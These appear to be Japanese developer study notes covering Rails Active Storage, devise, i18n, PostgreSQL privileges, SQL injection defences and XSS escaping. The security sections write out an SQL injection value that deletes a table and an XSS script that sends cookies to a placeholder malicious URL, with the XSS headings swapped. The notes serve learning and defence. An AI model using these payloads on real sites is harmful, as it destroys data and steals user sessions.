Ruby on Rails:ActiveStorage で画像アップロード

Active Strorage 概要

Active Storageはクラウドストレージサービス(Amazon S3, Google Cloud Storage等)へのファイルアップロードや、ファイルを Active Record オブジェクトにアタッチする機能を提供する。

その他にも、アプリケーションにアップロードした画像の変形や、PDFや動画等の画像以外のアップロードファイルの内容を画像にしたり、任意のファイルからメタデータ抽出にも利用できる。

Active Storage の環境構築

Active Storage の多くの機能は、サードパーティソフトウェアに依存しているため、別途インストールする。インストール対象を下記にまとめる。

ライブラリ名 概要 備考
libvips 画像解析や画像変形用 v8.6以降
FFmpeg 動画や音声の解析や動画プレビュー用 v3.4以降
Poppler PDFプレビュー用 -

それぞれインストールしていく。

  • libvips

    brew install vips
    
  • ffmpeg

    brew install ffmpeg
    
  • ffmpeg

    brew install poppler
    

次に画像分析、画像加工のために image_processing gem も必要ので Gemfile のコメントを外すか、下記を追加する。

gem "image_processing", ">= 1.2"

Active Storage のセットアップ

Active Storage では3つのテーブルを使用する。

  • active_storage_blobs
  • active_storage_variant_records
  • active_storage_attachments

上記を作るために、下記コマンドを実行する。

% rails active_storage:install

上記コマンドを実行すると、xxx_create_active_storage_tables.active_storage.rb というマイグレーションファイルが作られる。

マイグレーションファイルを実行して、モデルを作るために下記を実行する。

% rails db:migrate

Active Storage のサービスを config/storage.yml で宣言する。サービスを Active Storage を認識させるために、Rails.application.config.active_storage.service を設定する。

上記の設定は、環境ごとに行うことが推奨されているので、 development 環境で使うために、 config/environments/development.rb に下記を追加する。

# ファイルをローカルに保存する
config.active_storage.service = :local

パラメータに許可を与える

まずは、deviseで画像データを扱えるように、アプリケーションコントローラで許可を与える。

復習として、Strong Parameters により、モデルのデータ更新には、許可する属性をコントローラで明示的に指定する必要がある。

# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
  ...
  before_action :configure_permitted_parameters, if: :devise_controller?

  protected

  def configure_permitted_parameters
    keys = %i[name postal_code address self_introduction avatar]
    devise_parameter_sanitizer.permit(:sign_up, keys: keys)
    devise_parameter_sanitizer.permit(:account_update, keys: keys)
  end
  ...
end

ファイルをレコードに添付する

User モデルに画像を添付するために、User モデルを以下のように定義する。

# app/models/user.rb
class User < ApplicationRecord
  ...
  has_one_attached :avatar
  ...
end

ビューを設定する

画像をアップロードする form メソッドを持つビューには、 <%= form.file_field :avatar %> を追加する。

<!-- app/views/devise/registrations/new.html.erb, edit.html.erb -->
<%= form_for(resource, as: resource_name, url: registration_path(resource_name)) do |f| %>
...
  <div class="field">
    <%= f.label :avatar %><br />
    <%= f.file_field :avatar %>
  </div>
...

画像を表示するビューには、 <%= image_tag user.avatar if user.avatar.attached? %> を追加する。

<!-- app/views/users/index.html.erb, show.html.erb -->
...
<%= image_tag(user.avatar) if user.avatar.attached? %>
...

avatar.attached? メソッドにて、特定のuserがアバター画像を持っているかどうかを調べて、持っていれば image_tag メソッドに画像を渡す。

上記の条件文がない場合、下記のようなエラーとなる。

Can't resolve image into URL: undefined method `persisted?' for nil:NilClass

パッと調べた感じでは、image_tag メソッドに nilオブジェクト(画像データを持っていないレコード)を渡すとエラーになってしまう。

ここまでしてあげると、下記のように画像を上げられて、一覧画面にも表示されるようになる😄

image.png

variant で画像を変形する

画像の変形には、variant メソッドを用いる。ビューにて下記を実施する。

- <%= image_tag(user.avatar) if user.avatar.attached? %>
+ <%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) if user.avatar.attached? %>

上のコードでは、高さと幅を 100px ✖️ 100px に制限したavatar BLOB のバリアントを作成し、処理する。

参考

パーフェクトRuby on Rails 読んでみた

part1:overview

ルーティング情報ファイルについて

config/routes.rb でモデルに対して CRUD 操作を定義している。

# config/routes.rb
Rails.application.routes.draw do
  resources :books
end

resources :books の部分で、 CRUD 操作を定義している。resources メソッドに :books を渡すことで CRUD 操作用のルーティングが設定される。

Active Recordとは

Active Record の理解が甘かったので、『Active Record の基礎 - Railsガイド』と、『パーフェクト Ruby on Rails』で内容を確認。

Active Recordとは、MVCで言うところのM(モデル)で、ビジネスデータとビジネスロジックを表すシステムの階層のことを言う。

Active Record の目的は、データベースに恒久的に保存される必要のあるビジネスオブジェクトの作成と利用を円滑に行えるようにすること。

Active Record は、『Patterns of Enterprise Application Architecture』という書籍にデザインパターンとして記されている。そこでは、『データアクセスのロジックを常にオブジェクトに含めておき、そのオブジェクトの利用者にデータベースへの読み書き方法を指示できるようにする』としている。

Active Record には多くの機能があるが、大きく2つの役割がある。

  • データベースと接続し、データベースのレコードと ActiveRecord オブジェクトを結びつける
  • バリデーションやレコード保存時などに実行する様々なコールバックなどを実行する

バリデーション(検証)とは

バリデーションは、Active Record を使って、モデルがデータベースに書き込まれる前に、モデルの状態を検証(バリデーション)することを言う。

Active Record にはモデルチェック用の様々なメソッドが用意されている。例えば、次のようなものがある。

  • 属性が空でないかどうか
  • 属性が一意かどうか
  • 既にデータベースにないかどうか
  • 特定のフォーマットに沿っているかどうか

『属性が空でないか』のバリデーションは、次のように書ける。下記は User モデルの name 属性が空でないかを検証する。

class User < ApplicationRecord
  validates :name, presence: true
end

注意としては、レースコンディションですり抜けてしまう問題もあり得るため、データベースで not null 制約などで設定する方がベター。

コールバックとは

コールバックは、オブジェクトのライフサイクル期間における特定の瞬間に呼び出されるメソッドのこと。

コールバックを利用することの旨味は次のもの。

  • 前処理、後処理などを宣言的に書ける
  • 保存後に必ず実行したい処理があるときに、実行漏れを防げる

つまり、コールバックは、オブジェクトの状態が切り替わる『前』または『後』に宣言したロジックをトリガする。

コールバックを利用する際の流れを次に示す。

  1. コールバックを登録する

    下記の before_validation がコールバックとなっていて、バリデーションの前に、before_validation として登録された ensusure_login_has_a_value メソッドをトリガする。

     class User < ApplicationRecord
       validates :login, :email, presence: true
    
       before_validation :ensure_login_has_a_value
    
       private
         def ensure_login_has_a_value
           if login.nil?
             self.login = email unless email.blank?
           end
         end
     end
    
  2. コールバックをトリガする

    コールバックの実行は、以下のメソッドを実行することによりトリガされる。

    • create
    • create!
    • destroy
    • destroy!
    • destroy_all
    • destroy_by
    • save
    • save!
    • save(validate: false)
    • toggle!
    • touch
    • update_attribute
    • update
    • update!
    • valid?

    after_find コールバックは以下の finder メソッドを実行すると呼び出される。

    • all
    • first
    • find
    • find_by
    • find_by_*
    • find_by_*!
    • find_by_sql
    • last

ビューのレンダリング

コントローラでモデルからデータ抽出や加工を行い、ビューでコントローラで取得したデータをユーザが認識可能な形式にレンダリングする。

レンダリングでは、render メソッドを使うことで、コントローラとビューを結びつける。

class BooksController < ApplicationController
  before_action :set_book, only: %i[show edit update destroy]
  ...
  # レンダリングを明示的に書く場合
  def show
    render :show
  end
  # レンダリングを暗黙的に書く場合
  def show; end # => 『render アクション名(show)』と解釈される
  ...
  def set_book
    @book = Book.find(params[:id])
  end
  ...

render :show の部分でレンダリングをしており、具体的には以下のことをする。

  • 描画するためのテンプレートを探索

    探索は、 RAILS_ROOT/app/views/コントローラ名/アクション名.html.erb に対して行われる。拡張子は使用するテンプレートエンジンによって異なる。

  • 見つかったテンプレートを基に、データを展開し最終的なHTMLを生成

上記の例では、ビューに渡すデータを before_action にて値をセットすることで、各ビューでデータを扱えるようにしている。

参考

Ruby on Rails:devise gem で認証機能を導入する

devise gem 概要

devise は Warden に基づく Rails 用の柔軟な認証ソリューション。パスワードはハッシュしてデータベースに保存してくれる。要は、認証するサービスを提供できるようにしてくれる。

devise gem の導入

Gemfile に gem 'devise' を追加し bundle install を実行する。そして、rails generate devise:install コマンドを叩き、ジェネレータを実行する。

ジェネレータを実行すると次のファイルが生成される。

  • config/initializers/devise.rb
  • config/locales/devise.en.yml

config/environments/development.rbに次のコードを追加する。

config.action_mailer.default_url_options = { host: 'localhost', port: 3000 }

次にモデルを生成するために、まずは User 用のマイグレーションファイルを生成する。

% rails generate devise User

ジェネレータに生成されたコード(****_devise_create_users.rb)に対して、今回追加したい属性を追加する。とりあえず、下記を追加。

      ## User data
      t.string :post_code
      t.string :address
      t.string :self_introduction

そして、下記コマンドでデータベースを生成して、中身を確認する。

# データベース生成
% rails db:migrate
# データベースクライアントの起動
% rails dbconsole
# テーブル構造の確認
sqlite> .schema
...
CREATE TABLE IF NOT EXISTS "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email" varchar DEFAULT '' NOT NULL, "encrypted_password" varchar DEFAULT '' NOT NULL, "reset_password_token" varchar, "reset_password_sent_at" datetime, "remember_created_at" datetime, "post_code" varchar, "address" varchar, "self_introduction" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
...
# データベースクライアントの終了
sqlite> .quit

Routes を確認するために、 http://localhost:3000/rails/info/routes をブラウザで見てみる。

image.png

アカウントの登録画面は、 http://localhost:3000/users/sign_in となっているので、ブラウザで確認する。

image.png

ビュー構成変更

ログイン画面等で属性の追加や I18n 対応をする場合、おそらく View が定義されていないといけない。ただ、 devise gem を導入した場合に用意されるページは、gem にパッケージ化されたを使用しているため、編集できない。

Devise で View をカスタマイズする場合は、config/initializers/devise.rb を編集する。下記のパラメータを設定することで、パッケージ化されたページではなく、用意したページを参照するようになる。

config.scoped_views = true

そして、ログインページ用の View ファイルを追加するために次のコマンドを実行する。

% rails generate devise:views users

実行すると、次のように View が作成される。

image.png

試しに、 app/views/users/sessions/new.html.erb を編集してみると、ちゃんと更新されるようになりました🤗

image.png

Strong Parameter設定

デフォルトのままだと、ユーザ情報で設定できる項目は、アドレスとパスワードになっている。他項目を追加できるようにしたい場合、 Strong Parameter を編集する。Strong Parametersを参考に進める。

Strong Parameter はコントローラにて設定する。簡単に設定する方法として、次のコードを app/controllers/application_controller.rb に追加する。

before_action :configure_permitted_parameters, if: :devise_controller?

protected

def configure_permitted_parameters
  devise_parameter_sanitizer.permit(:sign_up, keys: [:post_code, :address, :self_introduction])
  devise_parameter_sanitizer.permit(:account_update, keys: [:post_code, :address, :self_introduction])
end

devise_parameter_sanitizer.permit メソッドの第一引数は、アクションの種類で次の3種類で設定できる。

  • sign_in :セッション管理用
  • sign_up :ユーザ情報の新規登録用
  • account_update :ユーザ情報の更新用

上記のコードの場合、ユーザ情報の新規登録と更新について新しく属性を追加したいため、sign_up ,account_update を設定した。

そして、第二引数にて、追加したい属性を設定する。今回は郵便番号、住所、自己紹介を追加したいので、モデルに追加した属性( :post_code, :address, :self_introduction )を追加した。

上記までで、Viewでパラメータを扱えるようになったので、View(app/views/users/registrations/new.html.erb, app/views/users/registrations/edit.html.erb)に下記を追加する。

<div class="field">
  <%= f.label :post_code %><br />
  <%= f.text_field :post_code %>
</div>

<div class="field">
  <%= f.label :address %><br />
  <%= f.text_field :address %>
</div>

<div class="field">
  <%= f.label :self_introduction %><br />
  <%= f.text_area :self_introduction %>
</div>

下記のように追加したユーザ情報編集を編集できるようになりました🤗

image.png

ユーザ一覧ページの追加

ユーザ一覧を表示するために、コントローラとビューを生成する。(コントローラーとviewファイルの生成を参考にしました。)

% rails g controller Users index

上記コマンドを実行すると、config/routes.rbget 'users/index' が追加され、下記ファイルが生成される。

  • app/assets/stylesheets/users.scss
  • app/controllers/users_controller.rb
  • app/helpers/users_helper.rb
  • app/views/users/index.html.erb

cssとヘルパーは今回触らないので、一旦削除。

app/controllers/users_controller.rbapp/views/users/index.html.erbbook を参考に、それぞれ下記のように更新。

# app/controllers/users_controller.rb
class UsersController < ApplicationController
  before_action :authenticate_user!
  def index
    @users = User.order(:id).page(params[:page])
  end
end
<!-- app/views/users/index.html.erb -->
<p id="notice"><%= notice %></p>

<h1><%= User.model_name.human %></h1>

<table>
  <thead>
    <tr>
      <th><%= User.human_attribute_name(:email) %></th>
      <th><%= User.human_attribute_name(:post_code) %></th>
      <th><%= User.human_attribute_name(:address) %></th>
      <th><%= User.human_attribute_name(:self_introduction) %></th>
      <th colspan="3"></th>
    </tr>
  </thead>

  <tbody>
    <% @users.each do |user| %>
      <tr>
        <td><%= user.email %></td>
        <td><%= user.post_code %></td>
        <td><%= user.address %></td>
        <td><%= user.self_introduction %></td>
      </tr>
    <% end %>
  </tbody>
</table>

<%= paginate @users %>

そして、 http://localhost:3000/users/index にアクセスすると下記のように、ユーザ一覧が確認できるようになる✌️

image.png

ユーザ詳細ページの追加

詳細ページについても基本的にやる流れは同じ。

  • routes の編集

    URLをbooks と揃えるために、resources :books, :users を追加。

     # config/routes.rb
     resources :books, :users
    

    上記のように、resourcesを宣言するだけで、コントローラのindexshowneweditcreateupdatedestroyアクションの宣言が完了する。

    具体的には、次の7つのルーティングが対応付けされる。

    HTTP verb パス コントローラ#アクション 目的
    GET /users photos#index 一覧表示
    GET /users/new photos#new コンテンツ作成入力フォーム
    POST /users photos#create コンテンツ作成
    GET users/:id photos#show 特定コンテンツ表示
    GET users/:id/edit photos#edit 特定コンテンツ編集フォーム
    PATCH/PUT /users/:id photos#update 特定コンテンツ編集
    DELETE /users/:id photos#destroy 特定コンテンツ削除
  • controllers の編集

    URLからIDを取得するので、 controllers を次のように更新。

    # app/controllers/users_controller.rb  
    def show
     @user = User.find(params[:id])
    end
    
  • views の編集

    次のように更新。

    <!-- app/controllers/users_controller.rb  -->
    <p id="notice"><%= notice %></p>
    
    <h1><%= User.model_name.human %></h1>
    
    <table>
      <thead>
        <tr>
          <th><%= User.human_attribute_name(:email) %></th>
          <th><%= User.human_attribute_name(:post_code) %></th>
          <th><%= User.human_attribute_name(:address) %></th>
          <th><%= User.human_attribute_name(:self_introduction) %></th>
          <th colspan="3"></th>
        </tr>
      </thead>
    
      <tbody>
        <% @users.each do |user| %>
          <tr>
            <td><%= user.email %></td>
            <td><%= user.post_code %></td>
            <td><%= user.address %></td>
            <td><%= user.self_introduction %></td>
          </tr>
        <% end %>
      </tbody>
    </table>
    
    <%= paginate @users %>
    

これで、 http://localhost:3000/users/22 のようにアクセスすると、当該IDのユーザ情報が表示できるようになった🤗

image.png

参考

Ruby on Rails:Rails の i18n

RailsI18nとは

I18ninternationalization の略で、国際化・多言語化を意味する。

一般に、アプリケーションの国際化では、『国際化』と『ローカライズ』のプロセスがある。『国際化』プロセスでは、使われる全ての文言やロケール固有の要素(日付、通貨フォーマット等)の抽象化までの作業を行う。『ローカライズ』では、具体的な翻訳方法や、翻訳のためのフォーマットを提供したりする。

具体的には、i18n gem はアプリケーションの文言を英語以外の別の1つの言語に翻訳する機能や、多言語サポート機能を導入するためのフレームワークを提供している。

Rails アプリケーションにおいて、 国際化する プロセスでは次のことを行う。

また、Rails アプリケーションにおいて、 ローカライズする プロセスでは次のことを行う。

  • Rails のデフォルトロケールの差し替え、またはロケールの追加
    (日付や時刻フォーマット、月の呼称、Active Recordモデル名などが対象)
  • アプリケーションで使われる文字列を抽象化し、キーで検索できる辞書に保存
    (フラッシュメッセージやビュー内の固定テキストなどが対象)
  • 作成された辞書を別の場所に保存

Ruby on Rails におけるI18n

Railsフレームワーク内のすべての静的文字列(Active Recordのバリデーションメッセージ、時刻や日付のフォーマットなど)の 国際化部分は既に設定済み。 よって、Railsアプリケーションのこれら部分の「ローカライズ」は、欲しい言語の文字列について翻訳済みの値(訳文)を定義することを指す。

国際化とローカライズ

国際化でやることは、ロケール固有のあらゆる要素を抽象化する。例えば、次のようなことを行う。

# ロケール固有
## app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = "Hello Flash"
  end
end
## app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>)

# 国際化後
## app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = t(:hello_flash)
  end
end
## app/views/home/index.html.erb
<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>

上記のように、ロケール固有では値が直接埋め込まれているが(Hello FlashHello World)、国際後では Rails#t ヘルパーを用いてそれらの文字列を置き換えている(t(:hello_flash)t :hello_world)。

抽象化したら、それらに対して訳文の辞書ファイルを追加する。

# config/locales/en.yml
en:
  hello_world: Hello world!
  hello_flash: Hello flash!

Active Recordモデルの翻訳を使う

モデル名と属性名を参照するときは、モデル名.model_name.human メソッドと モデル名.human_attribute_name(キー) を使う。

使う際には、下記のように記述する。そうすることで、当該の値がモデル名と属性名を示しているということを標準化できる。

en:
  activerecord:
    models:
      # モデル名
      book: 本
    attributes:
      # モデルの属性名
      book:
        title: 'タイトル'
        memo: 'メモ'
        author: '著者'
        picture: '画像'

ビュー や コントラローラで使うときには、次のようにする。

<table>
  <thead>
    <tr>
      <th><%= Book.human_attribute_name(:title) %></th>
      <th><%= Book.human_attribute_name(:memo) %></th>
      <th><%= Book.human_attribute_name(:author) %></th>
      <th><%= Book.human_attribute_name(:picture) %></th>
      <th colspan="3"></th>
    </tr>
  </thead>
</table>

式展開で渡す

最初、次のようなローカライズをしていた。

message:
  created: '本は正常に作成されました。'
  updated: '本は正常に更新されました。'
  destroyed: '本は正常に削除されました。'
  error_explanation: '本の登録の権限がありませんでした'

それで使うときは、t('message.created') ので呼び出す。

上記は、本固有のモデルのローカライズになってしまっている。モデルが人になった場合には、の部分をユーザとしたいが、なるべく共通部分は使いまわしたい。

そんなときに使えるのが、式展開。使うときにはローカライズを下記のようにする。

message:
  created: '%{item}は正常に作成されました。'
  updated: '%{item}は正常に更新されました。'
  destroyed: '%{item}は正常に削除されました。'
  error_explanation: '%{item}の登録の権限がありませんでした'

そして、呼び出すときには、Active Recordモデルの翻訳を合わせて用いることで、モデル名に応じてローカライズが切り替わるように翻訳される。

具体的には、モデルの場合、t('message.created', item: Book.model_name.human) と呼び出してあげると、Book.model_name.humanローカライズで定義した値『本』で itemキーに紐付き、ローカライズで定義された文章に式展開され、『本は正常に作成されました。』が表示される。

参考

PostgreSQL:データベースアカウントに適切な権限を与える

SQLインジェクションの対策として、根本的なものとしては、プレースホルダの方で対応するのが最善。(参考:安全なウェブサイトの作り方 - 1.1 SQLインジェクション

今回は、保険的な対策の『データベースアカウントに適切な権限を与える』に取り組んだ。

まずは、memoDBにパスワード付きユーザを作る。

memoDB=# CREATE USER goruchan PASSWORD 'hogehoge';
CREATE ROLE
memoDB=# SELECT usename FROM pg_user;
 usename  
----------
 goruchan
(1 rows)

次に作ったユーザに権限を付与する。これをしないと、作成したユーザでデータベースにアクセスすることができない。権限は、GRANTコマンドで与えることができる

-- ユーザに指定したテーブルのSELECT権限を与える
memoDB=# GRANT SELECT ON memos TO goruchan;
GRANT
-- ユーザに指定したテーブルのUPDATE権限を与える
memoDB=# GRANT UPDATE ON memos TO goruchan;
GRANT
-- ユーザに指定したテーブルのINSERT権限を与える
memoDB=# GRANT INSERT ON memos TO goruchan;
GRANT
-- ユーザに指定したテーブルのDELETE権限を与える
memoDB=# GRANT DELETE ON memos TO goruchan;
GRANT
-- ユーザに指定したテーブルの権限をまとめて与える
GRANT SELECT, UPDATE, INSERT, DELETE ON memos TO goruchan;
-- 利用可能な権限全てを一度に付与
GRANT ALL PRIVILEGES ON memos TO goruchan;

下記コマンドを叩いて、ユーザ権限を確認する。

memoDB=# \z memos
                              Access privileges
 Schema | Name  | Type  |  Access privileges   | Column privileges | Policies 
--------+-------+-------+----------------------+-------------------+----------
 public | memos | table | foo=arwdDxt/foo     +|                   | 
        |       |       | goruchan=arwdDxt/foo |                   | 
(1 row)

Access privilegesの記号の意味は次のとおり。

記号 意味
r SELECT (読み取り(read))
w UPDATE (書き込み(write))
a INSERT (追加(append))
d DELETE
R RULE
x REFERENCES
t TRIGGER
X EXECUTE
U USAGE
C CREATE
T TEMPORARY

ただ、INSERT権限を与えたのに、なぜか新規作成できない😱調べてみると、どうやらメモのIDのタイプをSERIALにしていたのが影響していたみたい。SERIALにすると、Sequenceとして定義されるらしい。

そして、Sequenceは、このコマンドを実行したユーザによって所有される。よって、所有者以外が使用するためには、当該ユーザにSequenceの権限を与える必要がある。

というわけで、Sequenceに権限を与える。

-- Sequenceを確認する
memoDB=# \ds
               List of relations
 Schema |       Name        |   Type   | Owner 
--------+-------------------+----------+-------
 public | memos_memo_id_seq | sequence | ryo
(1 row)

-- Sequenceにも権限を与える
GRANT USAGE ON SEQUENCE memos_memo_id_seq TO goruchan;

これで新しく作ったユーザでメモアプリの日通りのDB操作ができるようになりました。

SQLインジェクション攻撃とは

SQLインジェクション攻撃とは

データベース(DB)を利用するWebアプリケーションの多くは、利用者からの入力情報からSQL文を構築し、DBを操作する。このSQL文に問題がある場合、DBの不正利用につながる恐れがある。

上記の問題を『SQLインジェクション脆弱性』といい、問題を悪用した攻撃を『SQLインジェクション攻撃』という。

image.png 安全なウェブサイトの作り方 - 1.1 SQLインジェクション

発生しうる脅威

SQLインジェクション攻撃により、発生しうる脅威は次のもの。

  • データベースに蓄積された非公開情報の閲覧

    個人情報の漏えい 等

  • データベースに蓄積された情報の改ざん、消去

    ウェブページの改ざん、パスワード変更、システム停止 等

  • 認証回避による不正ログイン

    ログインした利用者に許可されている全ての操作を不正に行われる

  • ストアドプロシージャ等を利用した OS コマンドの実行

    システムの乗っ取り、他への攻撃の踏み台としての悪用 等

注意すべきページの特徴

次のようなサイトは特に注意が必要。

DBを利用するウェブアプリケーションを設置しているウェブサイト。個人情報等の重要情報をDBに格納するWeサイトでは、特に注意が必要。

根本的な解決方法

脆弱性を作り込まない実装」を実現する手法として、次のものがある。

SQL文の組み立ては全てプレースホルダで実装する

SQLインジェクションの対応の分類として、次のものがある。

image.png 安全なSQLの呼び出し方

上記の通り、最も安全なのは静的プレースホルダプレースホルダは『パラメータ部分を何かしらの記号(リテラル)で示しておき、後で、実際の値を機械的な処理で割り当てる方法』のこという。

中でも静的プレースホルダは、プレースホルダのままのSQL文をデータベースエンジン側にあらかじめ送信して、実行前に、SQL文の構文解析などの準備をしておく方式のこという。そして、SQL実行の段階で、実際のパラメータの値をデータベースエンジン側に送信し、データベースエンジン側にてバインド処理を実施する。イメージ図は次の通り。

image.png 安全なSQLの呼び出し方

ウェブアプリケーションで直接、文字列連結処理によってSQL文を組み立てる方法に比べて、プレースホルダでは、機械的な処理でSQL文が組み立てられるため、SQLインジェクション脆弱性を解消できる。

なぜ『文字列連結処理』が安全でないのか

rubyで「pg」gemを用いて『DBから特定のIDの情報を取得する』操作を、次のように記述し、#{id}は利用者からの入力から決定されるとする。

conn.exec("SELECT * FROM memos WHERE memo_id = '#{id}'").first

この状況において、#{id}を次のように入力する。

';DELETE FROM memos--

すると、SQLの中身は次のようになり、memosテーブルのデータが全て削除されてしまう。

SELECT * FROM memos WHERE memo_id = '';DELETE FROM memos--'

『動的プレースホルダ』の使用時には注意が必要

動的プレースホルダは、SQL呼び出しごとに、パラメータをバインドした後のSQL文をデータベースエンジンに送る。

image.png 安全なSQLの呼び出し方

このバインド処理時に、バインド処理を実現するドライバやライブラリによっては、文字エンコーディングの処理が原因で、SQLインジェクション脆弱性が生じる可能性があるため、動的プレースホルダの使用には注意が必要。

SQL文のリテラルを正しく構成する

SQL文の組み立てを文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンのAPIを用いて、SQL文のリテラルを正しく構成する。

正しく構成するためには、次の要件を満たす必要がある。

ただ、文字列リテラル生成時にエスケープが必要な文字は、データベースエンジンの種類や、データベースの設定によっても異なる場合がある。そうした違いに対して適切にエスケープ処理を実装しないと脆弱性を産んでしまう。

そこで、アプリケーションのプログラミング言語やデータベースエンジンが提供する、SQLにおけるリテラルを文字列として生成する専用のメソッドや関数を用いると良い。

rubyで対応する例の1つとして、gemで提供されているメソッドを使うという方法がある。pggemを用いる場合には、exec_paramsメソッドが使える。

exec_paramsでは、SQLクエリ要求を、パラメータにプレースホルダを使用して、PostgreSQLに送信する。下記のように、パラメータ値をコマンド文字列から分離し、面倒でエラーを起こしやすい引用符付けやエスケープを不要にしてくれる。

require 'pg'
conn = PG::Connection.open(:dbname => 'test')
res = conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])
# Equivalent to:
#  res  = conn.exec('SELECT 1 AS a, 2 AS b, NULL AS c')

Connection

ウェブアプリケーションに渡されるパラメータにSQL文を直接指定しない

『論外』の実装として、hiddenパラメータ等にSQL文をそのまま指定するというものがある。 ウェブアプリケーションに渡されるパラメータにSQL文を直接指定する実装は、そのパラメータ値の改変により、データベースの不正利用につながる可能性がある。

保険的な解決方法

『攻撃による影響を軽減する』のことで、次の影響を軽減する。

項目 影響を軽減する具体例
攻撃される可能性を低減する 攻撃につながるヒントを与えない
攻撃された場合に、脆弱性を突かれる可能性を低減する 入力から攻撃に使われるデータをサニタイズ(無効化)する
脆弱性を突かれた場合に、被害範囲を最小化する アクセス制御
被害が生じた場合に、早期に知る 事後通知

保険的な解決方法には、次のものがある。

エラーメッセージをそのままブラウザに表示しない

エラーメッセージの内容に、データベースの種類やエラーの原因、実行エラーを起こしたSQL文等 の情報が含まれる場合、これらはSQLインジェクション攻撃につながる有用な情報となってしまう可能性がある。

理由としては、どんなSQLが実行されているかがわかることで、SQLインジェクションを起こさせるSQLクエリを作るヒントを与えてしまうため。

また、 エラーメッセージは、攻撃の手がかりを与えるだけでなく、実際に攻撃された結果を表示する情報源としても悪用される場合があります。

よって、データベースに関連するエラーメッセージは、利用者のブラウザ上に表示させないことが推奨されている。

データベースアカウントに適切な権限を与える

ウェブアプリケーションがデータベースに接続する際に使用するアカウントの権限が必要以上に高 い場合、攻撃による被害が深刻化する恐れがある。

ウェブアプリケーションからデータベースに渡す命令文を洗い出し、その命令文の実行に必要な最小限の権限をデータベースアカウントに与えることが推奨されている。

参考

XSS対策:サニタイジング(エスケープ)処理

XSSの具体例

とりあえず現状の自分のサイトに対して、悪意あるコンテンツを作成してみた。下記コードを入れると、悪意あるコンテンツが作成される。

他サイトへリダイレクト

  "><script>alert('1クリックで100万円GET')</script><!--

不正ポップアップ表示

  "><script>window.location='悪意のあるサイトのURL?id='+document.cookie;</script><!--

クロスサイトスクリプティング(XSS)とは

実際に作成して、コンテンツリンクを踏むと次のように遷移してしまう。

image.png

こいつを防ぐために、悪意のあるスクリプトを無害な文字列に置き換えるサニタイジングエスケープ)処理を実装する。

変換対象は次のもの。

変換前の特殊文字 変換後の特殊文字
& &amp;
< &lt;
> &gt;
" &quot;
' &#39;

というわけで、入力値に対してサニタイズ処理をしてから記録するように変更。そのために書き込み前に入力値に対して下記のように置換を行う。引数長くなってしまったけど、とりあえずこのままで😅

def sanitizing_text text
  text.gsub(/&|<|>|"|'/, '&'=>'&amp;', "<"=>'&lt;', ">"=>'&gt;', "\""=>'&quot;', "'"=>'&#39;')
end

再度、悪意あるコンテンツを入力してみた。下記の通り、置換されてコンテンツが保存された🤗

image.png

エスケープ処理は出力要素に対して行う

上記は入力要素に対してエスケープ処理をしてしまったが、誤りなので注意。当初、危ないコンテンツは記録すらしない方がいいと思い、記録前に置換した方がいいと思ってました😅

実際は、XSSの防御であるエスケープ処理は『出力要素』に対して行うものなので、対処方法が誤っていました。

なんでエスケープ処理は出力要素?

例えば、悪意ないコンテンツ『M&M』を登録して、編集しようとしたら『M&amp;M』となってしまい、ユーザとしては嬉しくないからよねと思っていました。が、実際にやってみるとちゃんと表示されているので、うーん🤔となりました。

image.png

なぜ、出力要素に対して実施するかは、安全な ウェブサイトの作り方によくある失敗例として紹介されていました😅

imaga.png

また、入力時に対処する方だと、対策が後手になって悪意あるコンテンツが既に登録されている場合に、既存の悪意あるコンテンツに対してそのままでは対応できないということもあるなと思いました😂

エスケープ処理は『出力要素』を肝に銘じておきます🙇‍♂️